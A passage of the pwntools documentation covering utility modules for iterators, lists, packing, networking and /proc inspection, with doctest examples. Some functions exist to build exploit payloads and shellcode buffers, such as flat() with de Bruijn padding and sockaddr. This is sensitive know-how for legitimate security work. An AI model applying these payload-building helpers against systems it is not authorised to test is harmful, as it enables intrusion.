`pwnlib.util.iters.unique_window(iterable, window, key=None)`
`unique_everseen(iterable, window, key = None) -> iterator`

Get unique elements, preserving order. Remember only the last *window* elements seen. If *key* is not `None` then for each element *elm* in *iterable* the element that will be remembered is `key(elm)`. Otherwise *elm* is remembered.

Parameters

- **iterable** – An iterable.
- **window** (*int*) – The number of elements to remember.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_window('AAAABBBCCDAABBB', 6))
'ABCDAB'
>>> ''.join(unique_window('ABBCcAD', 5, str.lower))
'ABCD'
>>> ''.join(unique_window('ABBCcAD', 4, str.lower))
'ABCAD'
```

```
pwnlib.util.iters.chain()
    Alias for itertools.chain().

pwnlib.util.iters.combinations()
    Alias for itertools.combinations()

pwnlib.util.iters.combinations_with_replacement()
    Alias for itertools.combinations_with_replacement()

pwnlib.util.iters.compress()
    Alias for itertools.compress()

pwnlib.util.iters.count()
    Alias for itertools.count()

pwnlib.util.iters.cycle()
    Alias for itertools.cycle()

pwnlib.util.iters.dropwhile()
    Alias for itertools.dropwhile()

pwnlib.util.iters.groupby()
    Alias for itertools.groupby()

pwnlib.util.iters.ifilter()
    Alias for itertools.ifilter()

pwnlib.util.iters.ifilterfalse()
    Alias for itertools.ifilterfalse()

pwnlib.util.iters.imap()
    Alias for itertools.imap()

pwnlib.util.iters.islice()
    Alias for itertools.islice()

pwnlib.util.iters.izip()
    Alias for itertools.izip()

pwnlib.util.iters.izip_longest()
    Alias for itertools.izip_longest()

pwnlib.util.iters.permutations()
    Alias for itertools.permutations()

pwnlib.util.iters.product()
    Alias for itertools.product()

pwnlib.util.iters.repeat()
    Alias for itertools.repeat()

pwnlib.util.iters.starmap()
    Alias for itertools.starmap()

pwnlib.util.iters.takewhile()
    Alias for itertools.takewhile()

pwnlib.util.iters.tee()
    Alias for itertools.tee()
```

2.37 pwnlib.util.lists — Operations on lists

`pwnlib.util.lists.concat(l) → list`

Concat a list of lists into a list.

Example

```
>>> concat([[1, 2], [3]])
[1, 2, 3]
```

`pwnlib.util.lists.concat_all(*args) → list`

Concat all the arguments together.

Example

```
>>> concat_all(0, [1, (2, 3)], [[[4, 5, 6]]])
[0, 1, 2, 3, 4, 5, 6]
```

`pwnlib.util.lists.findall(l, e) → l`

Generate all indices of needle in haystack, using the Knuth-Morris-Pratt algorithm.

Example

```
>>> foo = findall([1,2,3,4,4,3,4,2,1], 4)
>>> next(foo)
3
>>> next(foo)
4
>>> next(foo)
6
```

`pwnlib.util.lists.group(n, lst, underfull_action = 'ignore', fill_value = None) → list`

Split sequence into subsequences of given size. If the values cannot be evenly distributed among into groups, then the last group will either be returned as is, thrown out or padded with the value specified in `fill_value`.

Parameters

- `n (int)` – The size of resulting groups
- `lst` – The list, tuple or string to group
- `underfull_action (str)` – The action to take in case of an underfull group at the end. Possible values are 'ignore', 'drop' or 'fill'.
- `fill_value` – The value to fill into an underfull remaining group.

Returns A list containing the grouped values.

Example

```
>>> group(3, "ABCDEFGG")
['ABC', 'DEF', 'G']
>>> group(3, 'ABCDEFGG', 'drop')
['ABC', 'DEF']
>>> group(3, 'ABCDEFGG', 'fill', 'Z')
['ABC', 'DEF', 'GZZ']
>>> group(3, list('ABCDEFGG'), 'fill')
[['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]
```

`pwnlib.util.lists.ordlist(s) → list`
Turns a string into a list of the corresponding ascii values.

Example

```
>>> ordlist("hello")
[104, 101, 108, 108, 111]
```

`pwnlib.util.lists.partition(lst, f, save_keys = False) → list`
Partitions an iterable into sublists using a function to specify which group they belong to.
It works by calling *f* on every element and saving the results into an `collections.OrderedDict`.

Parameters

- **lst** – The iterable to partition
- **f** (*function*) – The function to use as the partitioner.
- **save_keys** (*bool*) – Set this to True, if you want the `OrderedDict` returned instead of just the values

Example

```
>>> partition([1,2,3,4,5], lambda x: x&1)
[[1, 3, 5], [2, 4]]
```

`pwnlib.util.lists.unordlist(cs) → str`
Takes a list of ascii values and returns the corresponding string.

Example

```
>>> unordlist([104, 101, 108, 108, 111])
'hello'
```

2.38 pwnlib.util.misc — We could not fit it any other place

`pwnlib.util.misc.align(alignment, x) → int`
Rounds *x* up to nearest multiple of the *alignment*.

Example

```
>>> [align(5, n) for n in range(15)]
[0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 15, 15, 15, 15]
```

`pwnlib.util.misc.align_down(alignment, x) → int`
 Rounds *x* down to nearest multiple of the *alignment*.

Example

```
>>> [align_down(5, n) for n in range(15)]
[0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10]
```

`pwnlib.util.misc.binary_ip(host) → str`
 Resolve host and return IP as four byte string.

Example

```
>>> binary_ip("127.0.0.1")
b'\x7f\x00\x00\x01'
```

`pwnlib.util.misc.dealarm_shell(tube)`
 Given a tube which is a shell, dealarm it.

`pwnlib.util.misc.mkdir_p(path)`
 Emulates the behavior of `mkdir -p`.

`pwnlib.util.misc.parse_ldd_output(output)`
 Parses the output from a run of 'ldd' on a binary. Returns a dictionary of {path: address} for each library required by the specified binary.

Parameters `output` (*str*) – The output to parse

Example

```
>>> sorted(parse_ldd_output('''
...     linux-vdso.so.1 => (0x00007ffffbf5fe000)
...     libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fe28117f000)
...     libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe280f7b000)
...     libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe280bb4000)
...     /lib64/ld-linux-x86-64.so.2 (0x00007fe2813dd000)
... ''').keys())
['/lib/x86_64-linux-gnu/libc.so.6', '/lib/x86_64-linux-gnu/libdl.so.2', '/lib/x86_
↪ 64-linux-gnu/libtinfo.so.5', '/lib64/ld-linux-x86-64.so.2']
```

`pwnlib.util.misc.read(path, count=-1, skip=0) → str`
 Open file, return content.

Examples

```
>>> read('/proc/self/exe')[:4]
b'\x7fELF'
```

`pwnlib.util.misc.register_sizes` (*regs*, *in_sizes*)

Create dictionaries over register sizes and relations

Given a list of lists of overlapping register names (e.g. ['eax','ax','al','ah']) and a list of input sizes, it returns the following:

- `all_regs` : list of all valid registers
- `sizes[reg]` : the size of reg in bits
- `bigger[reg]` : list of overlapping registers bigger than reg
- `smaller[reg]`: list of overlapping registers smaller than reg

Used in i386/AMD64 shellcode, e.g. the mov-shellcode.

Example

```
>>> regs = [['eax', 'ax', 'al', 'ah'], ['ebx', 'bx', 'bl', 'bh'],
... ['ecx', 'cx', 'cl', 'ch'],
... ['edx', 'dx', 'dl', 'dh'],
... ['edi', 'di'],
... ['esi', 'si'],
... ['ebp', 'bp'],
... ['esp', 'sp'],
... ]
>>> all_regs, sizes, bigger, smaller = register_sizes(regs, [32, 16, 8, 8])
>>> all_regs
['eax', 'ax', 'al', 'ah', 'ebx', 'bx', 'bl', 'bh', 'ecx', 'cx', 'cl', 'ch', 'edx',
→ 'dx', 'dl', 'dh', 'edi', 'di', 'esi', 'si', 'ebp', 'bp', 'esp', 'sp']
>>> pprint(sizes)
{'ah': 8,
 'al': 8,
 'ax': 16,
 'bh': 8,
 'bl': 8,
 'bp': 16,
 'bx': 16,
 'ch': 8,
 'cl': 8,
 'cx': 16,
 'dh': 8,
 'di': 16,
 'dl': 8,
 'dx': 16,
 'eax': 32,
 'ebp': 32,
 'ebx': 32,
 'ecx': 32,
 'edi': 32,
 'edx': 32,
 'esi': 32,
 'esp': 32,
 'si': 16,
 'sp': 16}
>>> pprint(bigger)
{'ah': ['eax', 'ax', 'ah'],
 'al': ['eax', 'ax', 'al'],
 'ax': ['eax', 'ax'],
```

(continues on next page)

(continued from previous page)

```
'bh': ['ebx', 'bx', 'bh'],
'bl': ['ebx', 'bx', 'bl'],
'bp': ['ebp', 'bp'],
'bx': ['ebx', 'bx'],
'ch': ['ecx', 'cx', 'ch'],
'cl': ['ecx', 'cx', 'cl'],
'cx': ['ecx', 'cx'],
'dh': ['edx', 'dx', 'dh'],
'di': ['edi', 'di'],
'dl': ['edx', 'dx', 'dl'],
'dx': ['edx', 'dx'],
'eax': ['eax'],
'ebp': ['ebp'],
'ebx': ['ebx'],
'ecx': ['ecx'],
'edi': ['edi'],
'edx': ['edx'],
'esi': ['esi'],
'esp': ['esp'],
'si': ['esi', 'si'],
'sp': ['esp', 'sp']]
>>> pprint(smaller)
{'ah': [],
 'al': [],
 'ax': ['al', 'ah'],
 'bh': [],
 'bl': [],
 'bp': [],
 'bx': ['bl', 'bh'],
 'ch': [],
 'cl': [],
 'cx': ['cl', 'ch'],
 'dh': [],
 'di': [],
 'dl': [],
 'dx': ['dl', 'dh'],
 'eax': ['ax', 'al', 'ah'],
 'ebp': ['bp'],
 'ebx': ['bx', 'bl', 'bh'],
 'ecx': ['cx', 'cl', 'ch'],
 'edi': ['di'],
 'edx': ['dx', 'dl', 'dh'],
 'esi': ['si'],
 'esp': ['sp'],
 'si': [],
 'sp': []}
```

`pwnlib.util.misc.run_in_new_terminal (command, terminal = None) → None`

Run a command in a new terminal.

When `terminal` is not set:

- If `context.terminal` is set it will be used. If it is an iterable then `context.terminal[1:]` are default arguments.
- If a `pwntools-terminal` command exists in `$PATH`, it is used
- If `$TERM_PROGRAM` is set, that is used.

- If X11 is detected (by the presence of the `$DISPLAY` environment variable), `x-terminal-emulator` is used.
- If `tmux` is detected (by the presence of the `$TMUX` environment variable), a new pane will be opened.
- If GNU Screen is detected (by the presence of the `$STY` environment variable), a new screen will be opened.

Parameters

- **command** (*str*) – The command to run.
- **terminal** (*str*) – Which terminal to use.
- **args** (*list*) – Arguments to pass to the terminal

Note: The command is opened with `/dev/null` for stdin, stdout, stderr.

Returns PID of the new terminal process

`pwnlib.util.misc.size(n, abbrev='B', si=False) → str`
 Convert the length of a bytestream to human readable form.

Parameters

- **n** (*int, iterable*) – The length to convert to human readable form, or an object which can have `len()` called on it.
- **abbrev** (*str*) – String appended to the size, defaults to `'B'`.

Example

```
>>> size(451)
'451B'
>>> size(1000)
'1000B'
>>> size(1024)
'1.00KB'
>>> size(1024, ' bytes')
'1.00K bytes'
>>> size(1024, si = True)
'1.02KB'
>>> [size(1024 ** n) for n in range(7)]
['1B', '1.00KB', '1.00MB', '1.00GB', '1.00TB', '1.00PB', '1024.00PB']
>>> size([])
'0B'
>>> size([1,2,3])
'3B'
```

`pwnlib.util.misc.which(name, flags=os.X_OK, all=False) → str or str set`
 Works as the system command `which`; searches `$PATH` for `name` and returns a full path if found.

If *all* is `True` the set of all found locations is returned, else the first occurrence or `None` is returned.

Parameters

- **name** (*str*) – The file to search for.

- **all** (*bool*) – Whether to return all locations where *name* was found.

Returns If *all* is `True` the set of all locations where *name* was found, else the first location or `None` if not found.

Example

```
>>> which('sh')
'/bin/sh'
```

`pwnlib.util.misc.write` (*path*, *data*=`"`, *create_dir*=`False`, *mode*=`'w'`)
Create new file or truncate existing to zero length and write data.

2.39 pwnlib.util.net — Networking interfaces

`pwnlib.util.net.getifaddrs` () → dict list
A wrapper for libc's `getifaddrs`.

Parameters **None** –

Returns list of dictionaries each representing a *struct ifaddrs*. The dictionaries have the fields *name*, *flags*, *family*, *addr* and *netmask*. Refer to `getifaddrs(3)` for details. The fields *addr* and *netmask* are themselves dictionaries. Their structure depend on *family*. If *family* is not `socket.AF_INET` or `socket.AF_INET6` they will be empty.

`pwnlib.util.net.interfaces` (*all* = `False`) → dict

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – `False`.

Returns A dictionary mapping each of the hosts interfaces to a list of it's addresses. Each entry in the list is a tuple (*family*, *addr*), and *family* is either `socket.AF_INET` or `socket.AF_INET6`.

`pwnlib.util.net.interfaces4` (*all* = `False`) → dict

As `interfaces` () but only includes IPv4 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – `False`.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv4 addresses.

`pwnlib.util.net.interfaces6` (*all* = `False`) → dict

As `interfaces` () but only includes IPv6 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – `False`.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv6 addresses.

`pwnlib.util.net.sockaddr` (*host*, *port*, *network* = 'ipv4') -> (*data*, *length*, *family*)
 Creates a `sockaddr_in` or `sockaddr_in6` memory buffer for use in shellcode.

Parameters

- **host** (*str*) – Either an IP address or a hostname to be looked up.
- **port** (*int*) – TCP/UDP port.
- **network** (*str*) – Either 'ipv4' or 'ipv6'.

Returns A tuple containing the `sockaddr` buffer, length, and the address family.

2.40 pwnlib.util.packing — Packing and unpacking of strings

Module for packing and unpacking integers.

Simplifies access to the standard `struct.pack` and `struct.unpack` functions, and also adds support for packing/unpacking arbitrary-width integers.

The packers are all context-aware for `endian` and `signed` arguments, though they can be overridden in the parameters.

Examples

```
>>> p8(0)
b'\x00'
>>> p32(0xdeadbeef)
b'\xef\xbe\xad\xde'
>>> p32(0xdeadbeef, endian='big')
b'\xde\xad\xbe\xef'
>>> with context.local(endian='big'): p32(0xdeadbeef)
b'\xde\xad\xbe\xef'
```

Make a frozen packer, which does not change with context.

```
>>> p=make_packer('all')
>>> p(0xff)
b'\xff'
>>> p(0x1ff)
b'\xff\x01'
>>> with context.local(endian='big'): print(repr(p(0x1ff)))
b'\xff\x01'
```

`pwnlib.util.packing.dd` (*dst*, *src*, *count* = 0, *skip* = 0, *seek* = 0, *truncate* = False) → *dst*

Inspired by the command line tool `dd`, this function copies *count* byte values from offset *seek* in *src* to offset *skip* in *dst*. If *count* is 0, all of *src*[*seek*:] is copied.

If *dst* is a mutable type it will be updated. Otherwise a new instance of the same type will be created. In either case the result is returned.

src can be an iterable of characters or integers, a unicode string or a file object. If it is an iterable of integers, each integer must be in the range [0;255]. If it is a unicode string, its UTF-8 encoding will be used.

The seek offset of file objects will be preserved.

Parameters

- **dst** – Supported types are `:class:file`, `:class:list`, `:class:tuple`, `:class:str`, `:class:bytearray` and `:class:unicode`.
- **src** – An iterable of byte values (characters or integers), a unicode string or a file object.
- **count** (*int*) – How many bytes to copy. If *count* is 0 or larger than `len(src[seek:])`, all bytes until the end of *src* are copied.
- **skip** (*int*) – Offset in *dst* to copy to.
- **seek** (*int*) – Offset in *src* to copy from.
- **truncate** (*bool*) – If `:const:True`, *dst* is truncated at the last copied byte.

Returns A modified version of *dst*. If *dst* is a mutable type it will be modified in-place.

Examples

```
>>> dd(tuple('Hello!'), b'?', skip = 5)
('H', 'e', 'l', 'l', 'o', b'?')
>>> dd(list('Hello!'), (63,), skip = 5)
['H', 'e', 'l', 'l', 'o', b'?']
>>> _ = open('/tmp/foo', 'w').write('A' * 10)
>>> dd(open('/tmp/foo'), open('/dev/zero'), skip = 3, count = 4).read()
'AAA\x00\x00\x00\x00AAA'
>>> _ = open('/tmp/foo', 'w').write('A' * 10)
>>> dd(open('/tmp/foo'), open('/dev/zero'), skip = 3, count = 4, truncate = True).
↪read()
'AAA\x00\x00\x00\x00'
```

`pwnlib.util.packing.fit(*args, **kwargs)`

Legacy alias for `:func:flat`

`pwnlib.util.packing.flat(*a, **kw)`

flat(*args, preprocessor = None, length = None, filler = de_bruijn(), word_size = None, endianness = None, sign = None) -> str

Flattens the arguments into a string.

This function takes an arbitrary number of arbitrarily nested lists, tuples and dictionaries. It will then find every string and number inside those and flatten them out. Strings are inserted directly while numbers are packed using the `pack()` function. Unicode strings are UTF-8 encoded.

Dictionary keys give offsets at which to place the corresponding values (which are recursively flattened). Offsets are relative to where the flattened dictionary occurs in the output (i.e. `{0: 'foo'}` is equivalent to `'foo'`). Offsets can be integers, unicode strings or regular strings. Integer offsets $\geq 2 \times (\text{word_size} - 8)$ are converted to a string using `:func:pack`. Unicode strings are UTF-8 encoded. After these conversions offsets are either integers or strings. In the latter case, the offset will be the lowest index at which the string occurs in *filler*. See examples below.

Space between pieces of data is filled out using the iterable *filler*. The *n*'th byte in the output will be byte at `index n % len(iterable)` byte in *filler* if it has finite length or the byte at index *n* otherwise.

If *length* is given, the output will be padded with bytes from *filler* to be this size. If the output is longer than *length*, a `ValueError` exception is raised.

The three kwargs *word_size*, *endianness* and *sign* will default to using values in `pwnlib.context` if not specified as an argument.

Parameters

- **args** – Values to flatten
- **preprocessor** (*function*) – Gets called on every element to optionally transform the element before flattening. If *None* is returned, then the original value is used.
- **length** – The length of the output.
- **filler** – Iterable to use for padding.
- **word_size** (*int*) – Word size of the converted integer.
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”).
- **sign** (*str*) – Signedness of the converted integer (False/True)

Examples

```
>>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign = False)
b'\x01\x00testABABABABABAB'
>>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1))
b'234'
>>> flat({12: 0x41414141,
...       24: 'Hello',
...       })
b'aaaabaaacaaaAAAAeaaafaaaHello'
>>> flat({'caaa': ''})
b'aaaabaaa'
>>> flat({12: 'XXXX'}, filler = (ord('A'), ord('B')), length = 20)
b'ABABABABABABXXXXABAB'
>>> flat({ 8: [0x41414141, 0x42424242],
...       20: 'CCCC'})
b'aaaabaaaAAAABBBBeaaaCCCC'
>>> flat({ 0x61616162: 'X'})
b'aaaaX'
>>> flat({4: {0: 'X', 4: 'Y'}})
b'aaaaXaaaY'
```

`pwnlib.util.packing.make_packer(word_size = None, endianness = None, sign = None) → number → str`
 Creates a packer by “freezing” the given arguments.

Semantically calling `make_packer(w, e, s)` (*data*) is equivalent to calling `pack(data, w, e, s)`. If `word_size` is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- **word_size** (*int*) – The word size to be baked into the returned packer or the string all (in bits).
- **endianness** (*str*) – The endianness to be baked into the returned packer. (“little”/“big”)
- **sign** (*str*) – The signness to be baked into the returned packer. (“unsigned”/“signed”)
- **kwargs** – Additional context flags, for setting by alias (e.g. `endian=` rather than `index`)

Returns A function, which takes a single argument in the form of a number and returns a string of that number in a packed form.

Examples

```
>>> p = make_packer(32, endian='little', sign='unsigned')
>>> p
<function _p32lu at 0x...>
>>> p(42)
b'*\x00\x00\x00'
>>> p(-1)
Traceback (most recent call last):
...
error: integer out of range for 'I' format code
>>> make_packer(33, endian='little', sign='unsigned')
<function ...<lambda> at 0x...>
```

`pwnlib.util.packing.make_unpacker` (*word_size* = *None*, *endianness* = *None*, *sign* = *None*, ***kwargs*) → *str* → *number*

Creates a unpacker by “freezing” the given arguments.

Semantically calling `make_unpacker(w, e, s)` (*data*) is equivalent to calling `unpack(data, w, e, s)`. If *word_size* is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- **word_size** (*int*) – The word size to be baked into the returned packer (in bits).
- **endianness** (*str*) – The endianness to be baked into the returned packer. (“little”/“big”)
- **sign** (*str*) – The signness to be baked into the returned packer. (“unsigned”/“signed”)
- **kwargs** – Additional context flags, for setting by alias (e.g. *endian*= rather than *index*)

Returns A function, which takes a single argument in the form of a string and returns a number of that string in an unpacked form.

Examples

```
>>> u = make_unpacker(32, endian='little', sign='unsigned')
>>> u
<function _u32lu at 0x...>
>>> hex(u('/bin'))
'0x6e69622f'
>>> u('abcde')
Traceback (most recent call last):
...
error: unpack requires a string argument of length 4
>>> make_unpacker(33, endian='little', sign='unsigned')
<function ...<lambda> at 0x...>
```

`pwnlib.util.packing.p16` (*number*, *sign*, *endian*, ...) → *str*

Packs an 16-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as *endian* or *signed*.

Returns The packed number as a string

`pwnlib.util.packing.p32(number, sign, endian, ...)` → str
Packs an 32-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The packed number as a string

`pwnlib.util.packing.p64(number, sign, endian, ...)` → str
Packs an 64-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The packed number as a string

`pwnlib.util.packing.p8(number, sign, endian, ...)` → str
Packs an 8-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The packed number as a string

`pwnlib.util.packing.pack(number, word_size = None, endianness = None, sign = None, **kwargs)`
→ str
Packs arbitrary-sized integer.

Word-size, endianness and signedness is done according to context.

`word_size` can be any positive number or the string “all”. Choosing the string “all” will output a string long enough to contain all the significant bits and thus be decodable by `unpack()`.

`word_size` can be any positive number. The output will contain `word_size/8` rounded up number of bytes. If `word_size` is not a multiple of 8, it will be padded with zeroes up to a byte boundary.

Parameters

- **number** (*int*) – Number to convert
- **word_size** (*int*) – Word size of the converted integer or the string ‘all’ (in bits).
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to `context.local`

Returns The packed number as a string.

Examples

```
>>> pack(0x414243, 24, 'big', True)
b'ABC'
>>> pack(0x414243, 24, 'little', True)
b'CBA'
>>> pack(0x814243, 24, 'big', False)
b'\x81BC'
>>> pack(0x814243, 24, 'big', True)
Traceback (most recent call last):
...
ValueError: pack(): number does not fit within word_size
>>> pack(0x814243, 25, 'big', True)
b'\x00\x81BC'
>>> pack(-1, 'all', 'little', True)
b'\xff'
>>> pack(-256, 'all', 'big', True)
b'\xff\x00'
>>> pack(0x0102030405, 'all', 'little', True)
b'\x05\x04\x03\x02\x01'
>>> pack(-1)
b'\xff\xff\xff\xff'
>>> pack(0x80000000, 'all', 'big', True)
b'\x00\x80\x00\x00\x00'
```

`pwnlib.util.packing.routine(*a, **kw)`
`u32(number, sign, endian, ...) -> int`

Unpacks an 32-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.u16(number, sign, endian, ...) -> int`
 Unpacks an 16-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.u32(number, sign, endian, ...) -> int`
 Unpacks an 32-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.u64 (number, sign, endian, ...) → int`
Unpacks an 64-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.u8 (number, sign, endian, ...) → int`
Unpacks an 8-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.unpack (data, word_size = None, endianness = None, sign = None, **kwargs)`
→ int

Packs arbitrary-sized integer.

Word-size, endianness and signedness is done according to context.

`word_size` can be any positive number or the string “all”. Choosing the string “all” is equivalent to `len(data) * 8`.

If `word_size` is not a multiple of 8, then the bits used for padding are discarded.

Parameters

- **number** (*int*) – String to convert
- **word_size** (*int*) – Word size of the converted integer or the string “all” (in bits).
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to `context.local`

Returns The unpacked number.

Examples

```
>>> hex(unpack(b'\xaa\x55', 16, endian='little', sign=False))
'0x55aa'
>>> hex(unpack(b'\xaa\x55', 16, endian='big', sign=False))
'0xaa55'
>>> hex(unpack(b'\xaa\x55', 16, endian='big', sign=True))
'-0x55ab'
>>> hex(unpack(b'\xaa\x55', 15, endian='big', sign=True))
'0x2a55'
>>> hex(unpack(b'\xff\x02\x03', 'all', endian='little', sign=True))
'0x302ff'
>>> hex(unpack(b'\xff\x02\x03', 'all', endian='big', sign=True))
'-0xfdfd'
```

pwnlib.util.packing.**unpack_many**(*a, **kw)

unpack(data, word_size = None, endianness = None, sign = None) -> int list

Splits *data* into groups of *word_size*//8 bytes and calls *unpack()* on each group. Returns a list of the results.

word_size must be a multiple of 8 or the string “all”. In the latter case a singleton list will always be returned.

Args number (int): String to convert *word_size* (int): Word size of the converted integers or the string “all” (in bits). *endianness* (str): Endianness of the converted integer (“little”/“big”) *sign* (str): Signedness of the converted integer (False/True) *kwargs*: Anything that can be passed to *context.local*

Returns The unpacked numbers.

Examples

```
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='little',
↪sign=False)))
['0x55aa', '0x33cc']
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='big', sign=False)))
['0xaa55', '0xcc33']
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='big', sign=True)))
['-0x55ab', '-0x33cd']
>>> list(map(hex, unpack_many(b'\xff\x02\x03', 'all', endian='little',
↪sign=True)))
['0x302ff']
>>> list(map(hex, unpack_many(b'\xff\x02\x03', 'all', endian='big', sign=True)))
['-0xfdfd']
```

2.41 pwnlib.util.proc — Working with /proc/

pwnlib.util.proc.**ancestors**(*pid*) → int list

Parameters *pid* (*int*) – PID of the process.

Returns List of PIDs of whose parent process is *pid* or an ancestor of *pid*.

Example

```
>>> ancestors(os.getpid()) # doctest: +ELLIPSIS
[..., 1]
```

pwnlib.util.proc.**children**(*ppid*) → int list

Parameters *pid* (*int*) – PID of the process.

Returns List of PIDs of whose parent process is *pid*.

pwnlib.util.proc.**cmdline**(*pid*) → str list

Parameters *pid* (*int*) – PID of the process.

Returns A list of the fields in `/proc/<pid>/cmdline`.

Example

```
>>> 'py' in ''.join(cmdline(os.getpid()))
True
```

pwnlib.util.proc.**cwd**(*pid*) → str

Parameters *pid* (*int*) – PID of the process.

Returns The path of the process's current working directory. I.e. what `/proc/<pid>/cwd` points to.

Example

```
>>> cwd(os.getpid()) == os.getcwd()
True
```

pwnlib.util.proc.**descendants**(*pid*) → dict

Parameters *pid* (*int*) – PID of the process.

Returns Dictionary mapping the PID of each child of *pid* to its descendants.

Example

```
>>> d = descendants(os.getppid())
>>> os.getpid() in d.keys()
True
```

pwnlib.util.proc.**exe**(*pid*) → str

Parameters *pid* (*int*) – PID of the process.

Returns The path of the binary of the process. I.e. what `/proc/<pid>/exe` points to.

Example

```
>>> exe(os.getpid()) == os.path.realpath(sys.executable)
True
```

`pwnlib.util.proc.name(pid) → str`

Parameters `pid(int)` – PID of the process.

Returns Name of process as listed in `/proc/<pid>/status`.

Example

```
>>> p = process('cat')
>>> name(p.pid)
'cat'
```

`pwnlib.util.proc.parent(pid) → int`

Parameters `pid(int)` – PID of the process.

Returns Parent PID as listed in `/proc/<pid>/status` under `PPid`, or 0 if there is not parent.

`pwnlib.util.proc.pid_by_name(name) → int list`

Parameters `name(str)` – Name of program.

Returns List of PIDs matching `name` sorted by lifetime, youngest to oldest.

Example

```
>>> os.getpid() in pid_by_name(name(os.getpid()))
True
```

`pwnlib.util.proc.pidof(target) → int list`

Get PID(s) of `target`. The returned PID(s) depends on the type of `target`:

- `str`: PIDs of all processes with a name matching `target`.
- `pwnlib.tubes.process.process`: singleton list of the PID of `target`.
- `pwnlib.tubes.sock.sock`: singleton list of the PID at the remote end of `target` if it is running on the host. Otherwise an empty list.

Parameters `target(object)` – The target whose PID(s) to find.

Returns A list of found PIDs.

Example

```
>>> l = tubes.listen.listen()
>>> p = process(['curl', '-s', 'http://127.0.0.1:%d'%l.lport])
>>> pidof(p) == pidof(l) == pidof(('127.0.0.1', l.lport))
True
```

`pwnlib.util.proc.starttime(pid) → float`

Parameters `pid(int)` – PID of the process.

Returns The time (in seconds) the process started after system boot

Example

```
>>> starttime(os.getppid()) < starttime(os.getpid())
True
```

pwnlib.util.proc.**stat**(*pid*) → str list

Parameters *pid* (*int*) – PID of the process.

Returns A list of the values in `/proc/<pid>/stat`, with the exception that (and) has been removed from around the process name.

Example

```
>>> stat(os.getpid())[2]
'R'
```

pwnlib.util.proc.**state**(*pid*) → str

Parameters *pid* (*int*) – PID of the process.

Returns State of the process as listed in `/proc/<pid>/status`. See *proc(5)* for details.

Example

```
>>> state(os.getpid())
'R (running)'
```

pwnlib.util.proc.**status**(*pid*) → dict

Get the status of a process.

Parameters *pid* (*int*) – PID of the process.

